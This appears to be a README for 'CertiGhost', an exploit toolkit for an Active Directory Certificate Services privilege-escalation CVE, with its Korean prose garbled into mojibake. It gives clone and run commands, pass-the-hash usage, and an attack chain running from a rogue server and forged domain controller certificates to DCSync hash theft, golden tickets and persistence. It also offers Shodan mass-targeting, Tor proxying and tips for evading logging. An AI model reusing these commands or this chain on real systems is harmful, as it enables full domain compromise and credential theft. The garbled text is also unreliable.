
๐ป CVE-2026-54121 - ์ต๊ณ ์ CertiGhost AD CS ๋ฉํฐ ์ต์คํ๋ก์ ํ๋ ์์ํฌ | ๋ก๊ทธ DC/LDAP ์๋ฒ, ์ธ์ฆ์ ๋จ์ฉ, PKINIT ํด์ ์ถ์ถ์ ๊ฐ์ถ ๊ณ ๊ธ ํดํท. ๊ธฐ๋ฅ: ์์ ์ ๊ฒ ๊ฐ์ง, ์์ ๋ฉํฐ์ค๋ ๋ ์ต์คํ๋ก์. ๐ก๏ธ CVSS 8.8 ๋์ - ์ค๋ฆฌ์ ์ผ๋ก ์ฌ์ฉํ๊ณ , ํฉ๋ฒ์ ์ผ๋ก ์ ์งํ์ธ์. ๐

์ต์คํ๋ก์ ํ๋ ์์ํฌ ๋ฐ ๊ฐ์ฌ ํดํท
๊ณต์ธ๋ ๋ณด์ ํ
์คํธ ์ ์ฉ์
๋๋ค.
์ด ๋๊ตฌ๋ ๊ต์ก ๋ฐ ๊ณต์ธ๋ ์นจํฌ ํ ์คํธ ๋ชฉ์ ์ผ๋ก๋ง ์ ๊ณต๋ฉ๋๋ค. ์ ์์ ๊ธฐ์ฌ์๋ ์ด ์ํํธ์จ์ด๋ก ์ธํด ๋ฐ์ํ๋ ์ค์ฉ์ด๋ ์ํด์ ๋ํด ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ์ฌ์ฉ์๋ ํ ์คํธ ์ ์ ๋์ ์์ ์๋ก๋ถํฐ ๋ช ์์ ์ธ ์๋ฉด ํ๊ฐ๋ฅผ ๋ฐ์๋์ง ์ ์ ์ผ๋ก ์ฑ ์์ ์ง๋๋ค. ์น์ธ๋์ง ์์ ์ปดํจํฐ ์์คํ ์ ๊ทผ์ ๊ด๋ จ ์ฐ๋ฐฉ, ์ฃผ ๋ฐ ๊ตญ์ ์ฌ์ด๋ฒ ๋ฒ์ฃ ๋ฒ๋ฅ ์ ๋ฐ๋ผ ๋ถ๋ฒ์ ๋๋ค. ์ด ์ํํธ์จ์ด๋ฅผ ์ฌ์ฉํจ์ผ๋ก์จ ๊ทํ๋ ๋ค์ ์ฌํญ์ ๋์ํฉ๋๋ค:
โ ๏ธ ๊ฒฝ๊ณ : Active Directory ๊ถํ ์์น ์ทจ์ฝ์ ์ ์ํฐํ๋ผ์ด์ฆ ์ธํ๋ผ์ ๋์ ์ํ์ ์ด๋ํฉ๋๋ค. ์น์ธ๋์ง ์์ ํ ์คํธ๋ ์๊ฒฉํ ๊ธ์ง๋ฉ๋๋ค.
CVE-2026-54121 (์ฝ๋๋ช "Certighost")์ Microsoft Active Directory Certificate Services (AD CS)์ ๊ถํ ์์น (EoP) ์ทจ์ฝ์ ์ ๋๋ค. ์ด ์ทจ์ฝ์ ์ผ๋ก ์ธํด ๋ฎ์ ๊ถํ์ ๋๋ฉ์ธ ์ฌ์ฉ์๊ฐ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ ๋จธ์ ๊ณ์ ์ ๊ฐ์ฅํ๊ณ ์ธ์ฆ์ ์์กฐ๋ฅผ ํตํด ์์ ํ ๋๋ฉ์ธ ๊ด๋ฆฌ์ ์ฅ์ ์ ๋ฌ์ฑํ ์ ์์ต๋๋ค.
CWE-285)๋ก ์ธํด ๋ฐ์ํฉ๋๋ค.DCSync ์์
์ ์คํํฉ๋๋ค.detect_ip๋ฅผ ์ ๊ฑฐํ๊ณ , ๋ก๊น
๋ฐ ์ถ๋ ฅ์ ๋นํ์ฑํํ๋ ๊ฒ์ด ์ข์ต๋๋ค. ์ด ๋ฒ์ ์๋ "stealthcert.py" ๋ฅผ ์ฌ์ฉํ์ญ์์ค.git clone https://tc4dy/CVE-2026-54121-PoC-Exploit
#install requirements
# LDAP๋ฅผ ํตํด CA๋ฅผ ์๋ ๊ฒ์ํ๊ณ , ์์ ์ปดํจํฐ๋ฅผ ์์ฑํ๊ณ , ๋ก๊ทธ ์๋ฒ๋ฅผ ์คํํ๊ณ , cdc ๋ฆฌ๋๋ ์
์ผ๋ก ์ธ์ฆ์๋ฅผ ์์ฒญํ๊ณ , PKINIT๋ฅผ ํตํด DC์ NT ํด์๋ฅผ ์ถ์ถํ๊ณ , ๋๋ฉ์ธ ์ฅ์
์ ์ํด DCSync๋ฅผ ํ์ฑํํฉ๋๋ค
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10
# ํน์ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ(DC01$)๋ฅผ ๊ฐ์ฅํฉ๋๋ค. ์ ํํ ์ด๋ค DC๋ฅผ ๋์์ผ๋ก ํ ์ง ์๊ณ ์์ ๋ ์ ์ฉํฉ๋๋ค. ์๋ ๊ฒ์์ ์ฐํํฉ๋๋ค
python3 certighost.py -d corp.local -u user -p Passw0rd --dc-ip 10.0.0.1 --target-san DC01$
# ๋น๋ฐ๋ฒํธ ๋์ NTLM ํด์๋ฅผ ์ฌ์ฉํฉ๋๋ค. ๋น๋ฐ๋ฒํธ๋ ๋ชจ๋ฅด์ง๋ง ํด์๋ฅผ ์ป์ ๊ฒฝ์ฐ์ ์๋ํฉ๋๋ค. ํด์ ์์ ':' = ๋น LM ํด์
python3 certighost.py -d domain.local -u admin --hashes :8846f7eaee8fb117ad06bdd830b7586c --dc-ip 192.168.1.10
# LDAP CA ๊ฒ์์ ์ฐํํฉ๋๋ค. ๋ช
์์ ์ผ๋ก ์ ๊ณต๋ CA IP์ ์ด๋ฆ์ ์ฌ์ฉํฉ๋๋ค. LDAP๊ฐ ์ ํ๋๊ฑฐ๋ CA๊ฐ ๋ค๋ฅธ ์๋ธ๋ท์ ์์ ๋ ์ ์ฉํฉ๋๋ค
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10 --ca-ip 192.168.1.20 --ca "PLAYGROUND-CA"
# AD CS๊ฐ ์กด์ฌํ๋์ง ํ์ธํ๋ ๊ธฐ๋ณธ LDAP ์ฟผ๋ฆฌ์
๋๋ค. CA ์ด๋ฆ๊ณผ DNS๋ฅผ ๋ฐํํฉ๋๋ค. ์ฝ๊ธฐ ์ ์ฉ์ด๋ฉฐ ํ๋ก๋์
ํ๊ฒฝ์ ์์ ํฉ๋๋ค. ์ต์คํ๋ก์์ ์ํ๋์ง ์์ต๋๋ค
.\CertiGhost.ps1 -d playground.local --dc-ip 192.168.1.10 --username lowpriv -p Password123 --detect
# ๊ธฐ๋ณธ AD CS ํ์ง๋ฅผ ์คํํ ๋ค์ ๋ชจ๋ ๋งค๊ฐ๋ณ์์ ํจ๊ป Python certighost.py๋ฅผ ํธ์ถํฉ๋๋ค. ๊ฐ์ ๋๋ ํ ๋ฆฌ์ certighost.py๊ฐ ํ์ํฉ๋๋ค. NT ํด์์ ccache ํ์ผ์ ์ถ๋ ฅํฉ๋๋ค
.\CertiGhost.ps1 -d corp.local --dc-ip 10.0.0.1 --username attacker -p P@ssw0rd --exploit --target-account DC01$
#ํ์ง๋ง ์ํํ๋ ๋ชจ๋์
๋๋ค. ๊ฒฐ๊ณผ๋ฅผ JSON ํ์์ผ๋ก ์ ์ฅํฉ๋๋ค. ์๋ํ, ๋ณด๊ณ ๋ฐ ๋ค๋ฅธ ๋ณด์ ๋๊ตฌ์์ ํตํฉ์ ์ ์ฉํฉ๋๋ค
.\CertiGhost.ps1 -d domain.local --dc-ip 192.168.1.10 --username user -p pass --detect -o results.json
์ด ์ทจ์ฝ์ ์ ์ธ์ฆ์ ๋ฑ๋ก ํ๋ก์ธ์ค ์ค Active Directory Certificate Services (AD CS) ๋ด์ ๋ถ์ ์ ํ ๊ถํ ๋ถ์ฌ ๋ฐ ๊ฒ์ฆ ๊ฒ์ฌ(CWE-285)์์ ๋น๋กฏ๋ฉ๋๋ค. ๋ฎ์ ๊ถํ์ ๋๋ฉ์ธ ์๊ฒฉ ์ฆ๋ช
์ ๊ฐ์ง ๊ณต๊ฒฉ์๋ ๋์ ๋ฆฌ๋๋ ์
๋งค๊ฐ๋ณ์๋ฅผ ์กฐ์ํ์ฌ ์ธ์ฆ ๊ธฐ๊ด(CA)์ด ๋ก๊ทธ ์๋ํฌ์ธํธ์ ๋ํด ID ์ฃผ์ฅ์ ๊ฒ์ฆํ๋๋ก ์์ผ ์ ์์ต๋๋ค.
์ทจ์ฝํ ์๋ํฌ์ธํธ / ์์ฒญ ์ปจํ ์คํธ:
POST /certsrv/mscep/mscep.dll HTTP/1.1
Host: ca-server.domain.local
Content-Type: application/x-www-form-urlencoded
... (์กฐ์๋ target/cdc ๋งค๊ฐ๋ณ์๊ฐ ํฌํจ๋ ์ธ์ฆ์ ์์ฒญ ํ์ด๋ก๋)
์ถ์ ๋์ ์กฐ์: ๊ณต๊ฒฉ์๋ ์ธ์ฆ์ ์์ฒญ ๋ด์ ๋์ ๋ฆฌ๋๋ ์
๋งค๊ฐ๋ณ์(์: cdc / ์ถ์ ๋์)๋ฅผ ์์ ํ์ฌ ์ธ์ฆ ๊ธฐ๊ด(CA)์ด ๊ฒ์ฆ ํธ๋ํฝ์ ์ง์ ๋ ์๋ํฌ์ธํธ๋ก ๋ผ์ฐํ
ํ๋๋ก ๊ฐ์ ํฉ๋๋ค.
๋ก๊ทธ ์๋ฒ ๋ฆฌ๋๋ ์ : ์ธ์ฆ ๊ธฐ๊ด(CA)์ ๋์์ด ํฉ๋ฒ์ ์ด๊ณ ๊ณต์ธ๋ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ธ์ง ํ์ธํ์ง ์๊ณ ํด๋ผ์ด์ธํธ๊ฐ ์ ๊ณตํ ๋์์ LDAP ๋๋ SMB ์ฐ๊ฒฐ์ ์์ํฉ๋๋ค.
DC ID ์์กฐ ๋ฐ ์ธ์ฆ์ ๋ฐ๊ธ: ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ก๊ทธ ์๋ฒ๋ ๋์ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ ๊ณ์ ์ ๋์ ํ์ฌ CA๊ฐ ๋ฐํํ ๊ฒ์ฆ ์ฟผ๋ฆฌ์ ์๋ตํฉ๋๋ค. ์ด ์๋ต์ ์์กดํ์ฌ CA๋ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ ID๋ฅผ ๋ด์ ์ ํจํ ์๋ช ๋ ์ธ์ฆ์๋ฅผ ๋ฐ๊ธํฉ๋๋ค.
ํ๋ํ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ ์ธ์ฆ์๋ฅผ ์ฌ์ฉํ์ฌ PKINIT(์ด๊ธฐ ์ธ์ฆ์ ์ํ ๊ณต๊ฐ ํค ์ํธํ)๋ฅผ ํตํด Kerberos ์ธ์ฆ์ ์ํํ์ฌ ๋์ ๊ถํ์ TGT๋ฅผ ํ๋ํฉ๋๋ค.
๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ ๊ถํ์ ๊ฐ์ง Kerberos ํฐ์ผ์ ์ฌ์ฉํ์ฌ Active Directory ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ชจ๋ ๊ณ์ (์: krbtgt, Administrator)์ ๋ํ ๋น๋ฐ๋ฒํธ ํด์๋ฅผ DCSync ๊ธฐ์ ์ ํตํด ์ถ์ถํฉ๋๋ค.
krbtgt ๊ณ์ ๋น๋ฐ๋ฒํธ ํด์๋ฅผ ์ฌ์ฉํ์ฌ ํ์ ์ TGT๋ฅผ ์์กฐํฉ๋๋ค.msDS-KeyCredentialLink ์์ฑ์ ์น์ธ๋์ง ์์ ์ธ์ฆ์ ํค๋ฅผ ์ถ๊ฐํ์ฌ ์ง์์ ์ธ ์ ๊ทผ์ ํ๋ณดํฉ๋๋ค.| ์์ฑ | ๊ฐ |
|---|
| ๐ ๋ฐ๊ฒฌ / ํจ์น | 2026๋ 7์ (Microsoft Patch Tuesday) |
| โ ๏ธ CVSS ์ ์ | 8.8 (๋์) |
| ๐ท๏ธ ์ฝ๋๋ช | Certighost |
| ๐ฏ ์ํฅ ์ ํ | Microsoft Active Directory Certificate Services |
| ๐ ์์ ๋ฒ์ | 2026๋ 7์ ๋ณด์ ์ ๋ฐ์ดํธ |
| ๐ ์ธ์ฆ | ๋ฎ์ ๊ถํ ๋๋ฉ์ธ ๊ณ์ |
| ๐ ์ํฅ | ์ ์ฒด Active Directory ๋๋ฉ์ธ ์์ |
| ๋งค๊ฐ๋ณ์ | ์ค๋ช | ์์ |
|---|
-d, --domain | ๋์ ๋๋ฉ์ธ DNS ์ด๋ฆ (ํ์) | -d playground.local |
-u, --username | ๋ฎ์ ๊ถํ ๋๋ฉ์ธ ์ฌ์ฉ์ (ํ์) | -u lowpriv |
-p, --password | ์ฌ์ฉ์ ๋น๋ฐ๋ฒํธ | -p Password123 |
-H, --hashes | NTLM ํด์ [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--dc-ip | ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ IP (ํ์) | --dc-ip 192.168.1.10 |
--ca-ip | ์ธ์ฆ ๊ธฐ๊ด IP (์ ํ) | --ca-ip 192.168.1.20 |
--ca | CA ์ด๋ฆ (์ค์ ํ์ง ์์ผ๋ฉด ์๋ ๊ฒ์) | --ca "PLAYGROUND-CA" |
--listener | ๋ก๊ทธ ์๋ฒ์ฉ ๊ณต๊ฒฉ์ IP | --listener 192.168.1.100 |
--target-san | ๊ฐ์ฅํ ์ปดํจํฐ ๊ณ์ (์: DC01$) | --target-san DC01$ |
--template | ์ธ์ฆ์ ํ ํ๋ฆฟ (๊ธฐ๋ณธ๊ฐ: Machine) | --template Machine |
--computer-name | ๊ธฐ์กด ์ปดํจํฐ ๊ณ์ ์ด๋ฆ ($ ํฌํจ) | --computer-name GHOSTABCD$ |
--computer-pass | ๊ธฐ์กด ์ปดํจํฐ ๋น๋ฐ๋ฒํธ | --computer-pass CGabc123... |
--computer-hash | ๊ธฐ์กด ์ปดํจํฐ NT ํด์ | --computer-hash 8846f7ea... |
--use-ldap | LDAPS(636) ๋์ LDAP(389) ์ฌ์ฉ | --use-ldap |
--exploit | ์ต์คํ๋ก์ ์ํ | --exploit |
--detect | ํ์ง๋ง ์ํ (์ต์คํ๋ก์ ์์) | --detect |
-t, --threads | ๋๋ ์ค์บ์ฉ ์ต๋ ์ค๋ ๋ ์ | -t 10 |
--timeout | ์์ฒญ๋น ์๊ฐ ์ด๊ณผ (์ด) | --timeout 10 |
--retry | ์คํจ ์ ์ฌ์๋ ํ์ | --retry 3 |
--delay | ์์ฒญ ๊ฐ ๊ธฐ๋ณธ ์ง์ฐ | --delay 1.0 |
--proxy | ํ๋ก์ URL | --proxy http://127.0.0.1:8080 |
--no-verify | SSL ๊ฒ์ฆ ๋นํ์ฑํ | --no-verify |
--tor | Tor ํ๋ก์ ์ฌ์ฉ (socks5h://127.0.0.1:9050) | --tor |
-o, --output | ์ถ๋ ฅ ํ์ผ (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | ์์ธ ์ถ๋ ฅ | -v |
-q, --quiet | ์กฐ์ฉํ ๋ชจ๋ | -q |
-h, --help | ๋์๋ง ํ์ | -h |
| ๋งค๊ฐ๋ณ์ | ์ค๋ช | ์์ |
|---|
-t, --target | ๋์ CA IP ๋๋ ํธ์คํธ ์ด๋ฆ (ํ์) | -t 192.168.1.20 |
-d, --domain | ๋์ ๋๋ฉ์ธ DNS ์ด๋ฆ (ํ์) | -d playground.local |
--dc-ip | ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ IP (ํ์) | --dc-ip 192.168.1.10 |
-u, --username | ๋ฎ์ ๊ถํ ๋๋ฉ์ธ ์ฌ์ฉ์ (ํ์) | -u lowpriv |
-p, --password | ์ฌ์ฉ์ ๋น๋ฐ๋ฒํธ | -p Password123 |
-H, --hashes | NTLM ํด์ [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--computer-name | ๊ธฐ์กด ์ปดํจํฐ ๊ณ์ ์ด๋ฆ ($ ํฌํจ) | --computer-name GHOSTABCD$ |
--computer-pass | ๊ธฐ์กด ์ปดํจํฐ ๋น๋ฐ๋ฒํธ | --computer-pass CGabc123... |
--computer-hash | ๊ธฐ์กด ์ปดํจํฐ NT ํด์ | --computer-hash 8846f7ea... |
--target-account | ๊ฐ์ฅํ ๊ณ์ (์: DC01$) | --target-account DC01$ |
--template | ์ธ์ฆ์ ํ ํ๋ฆฟ (๊ธฐ๋ณธ๊ฐ: Machine) | --template Machine |
--listener | ๋ก๊ทธ ์๋ฒ์ฉ ๊ณต๊ฒฉ์ IP (์ค์ ํ์ง ์์ผ๋ฉด ์๋ ๊ฐ์ง) | --listener 192.168.1.100 |
--use-ldap | LDAPS(636) ๋์ LDAP(389) ์ฌ์ฉ | --use-ldap |
--keep-files | .pfx ๋ฐ .ccache ํ์ผ ์ ์ง (๊ธฐ๋ณธ๊ฐ: ์ญ์ ) | --keep-files |
-h, --help | ๋์๋ง ํ์ | -h |
| ๋งค๊ฐ๋ณ์ | ์ค๋ช | ์์ |
|---|
-u, --url | ๋์ CA IP ๋๋ ํธ์คํธ ์ด๋ฆ | -u 192.168.1.20 |
-l, --list | ๋์ ๋ชฉ๋ก์ด ํฌํจ๋ ํ์ผ (์ค๋น ํ๋) | -l targets.txt |
--shodan | Shodan์์ ๋์ ๋ก๋ | --shodan |
--shodan-query | Shodan ๊ฒ์ ์ฟผ๋ฆฌ | --shodan-query "AD CS Certificate" |
-d, --domain | ๋์ ๋๋ฉ์ธ DNS ์ด๋ฆ (ํ์) | -d playground.local |
--dc-ip | ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ IP (ํ์) | --dc-ip 192.168.1.10 |
--username | ๋ฎ์ ๊ถํ ๋๋ฉ์ธ ์ฌ์ฉ์ (ํ์) | --username lowpriv |
-p, --password | ์ฌ์ฉ์ ๋น๋ฐ๋ฒํธ | -p Password123 |
-H, --hashes | NTLM ํด์ [LM:]NT | -H :8846f7ea... |
--computer-name | ๊ธฐ์กด ์ปดํจํฐ ๊ณ์ ์ด๋ฆ ($ ํฌํจ) | --computer-name GHOSTABCD$ |
--computer-pass | ๊ธฐ์กด ์ปดํจํฐ ๋น๋ฐ๋ฒํธ | --computer-pass CGabc123... |
--computer-hash | ๊ธฐ์กด ์ปดํจํฐ NT ํด์ | --computer-hash 8846f7ea... |
--target-account | ๊ฐ์ฅํ ๊ณ์ (์: DC01$) | --target-account DC01$ |
--template | ์ธ์ฆ์ ํ ํ๋ฆฟ (๊ธฐ๋ณธ๊ฐ: Machine) | --template Machine |
--listener | ๋ก๊ทธ ์๋ฒ์ฉ ๊ณต๊ฒฉ์ IP | --listener 192.168.1.100 |
--use-ldap | LDAPS(636) ๋์ LDAP(389) ์ฌ์ฉ | --use-ldap |
--exploit | ์ต์คํ๋ก์ ์ํ | --exploit |
--detect | ํ์ง๋ง ์ํ (์ต์คํ๋ก์ ์์) | --detect |
-t, --threads | ๋๋ ์ค์บ์ฉ ์ต๋ ์ค๋ ๋ ์ | -t 10 |
--timeout | ์์ฒญ๋น ์๊ฐ ์ด๊ณผ (์ด) | --timeout 10 |
--retry | ์คํจ ์ ์ฌ์๋ ํ์ | --retry 3 |
--delay | ์์ฒญ ๊ฐ ๊ธฐ๋ณธ ์ง์ฐ | --delay 1.0 |
--proxy | ํ๋ก์ URL | --proxy http://127.0.0.1:8080 |
--no-verify | SSL ๊ฒ์ฆ ๋นํ์ฑํ | --no-verify |
--tor | Tor ํ๋ก์ ์ฌ์ฉ | --tor |
-o, --output | ์ถ๋ ฅ ํ์ผ (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | ์์ธ ์ถ๋ ฅ | -v |
-q, --quiet | ์กฐ์ฉํ ๋ชจ๋ | -q |
-h, --help | ๋์๋ง ํ์ | -h |